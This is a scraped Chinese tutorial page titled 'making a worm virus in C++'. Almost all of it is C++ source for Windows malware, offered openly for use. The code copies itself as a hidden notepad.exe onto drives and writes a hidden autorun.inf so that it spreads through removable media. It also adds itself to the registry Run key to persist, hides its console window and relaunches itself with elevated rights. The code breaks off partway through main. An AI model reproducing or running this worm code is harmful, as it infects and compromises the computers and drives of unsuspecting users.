c++ 制作蠕虫病毒 您所在的位置:网站首页 蠕虫病毒怎么写 c++ 制作蠕虫病毒

c++ 制作蠕虫病毒

2023-09-02 20:31| 来源: 网络整理| 查看: 265

c++ 制作蠕虫病毒

首先感谢粉丝的支持!

上代码!

#include #include #include #include #include #include using namespace std; void *do_thread(void *arg); HWND hWnd = GetConsoleWindow(); char szAutoRun[] = "[AutoRun] \n" "open=notepad.exe\n" "shell\\open=打开(&O)\n" "shell\\open\\command=notepad.exe\n" "shell\\explore=资源管理器(&X)\n" "shell\\explore\\command=notepad.exe\n" "shellexecute=notepad.exe\n" "shell\\Auto\\command=notepad.exe"; void infect(char* pszFile, UINT uDriveType) { char szDriveString[MAXBYTE] = {}; DWORD dwRet = 0; DWORD iNum = 0; char szRoot[4] = {}; UINT uType = 0; char szTarget[MAX_PATH] = {}; dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString); while(iNum < dwRet) { strncpy(szRoot, &szDriveString[iNum], 3); uType = GetDriveType(szRoot); if(uType == uDriveType) { lstrcpy(szTarget, szRoot); lstrcat(szTarget, "notepad.exe"); CopyFile(pszFile, szTarget, FALSE); SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN); lstrcpy(szTarget, szRoot); lstrcat(szTarget, "autorun.inf"); HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwWritten = 0; WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL); CloseHandle(hFile); SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN); } iNum += 4; } } void test() { HKEY hKey; if(RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { TCHAR strExeFullDir[MAX_PATH]; GetModuleFileName(NULL, strExeFullDir, MAX_PATH); TCHAR strDir[MAX_PATH] = {}; DWORD nLength = MAX_PATH; long result = RegGetValue(hKey, nullptr, _T("超强木马"), RRF_RT_REG_SZ, 0, strDir, &nLength); if(result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0) { RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR)); RegCloseKey(hKey); } } } void ManagerRun(LPCSTR exe, LPCSTR param, int nShow = SW_SHOW) { SHELLEXECUTEINFO ShExecInfo; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = "runas"; ShExecInfo.lpFile = exe; ShExecInfo.lpParameters = param; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = nShow; ShExecInfo.hInstApp = NULL; BOOL ret = ShellExecuteEx(&ShExecInfo); CloseHandle(ShExecInfo.hProcess); } int main(int argc, char *argv[]) { if(argc == 1) { ShowWindow(GetConsoleWindow(), SW_HIDE); ManagerRun(argv[0], "2"); return 1; } else if(argc == 2) { string s; ifstream id("die.txt"); id >> s; if(int(s.find("false")) != -1) { cout


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有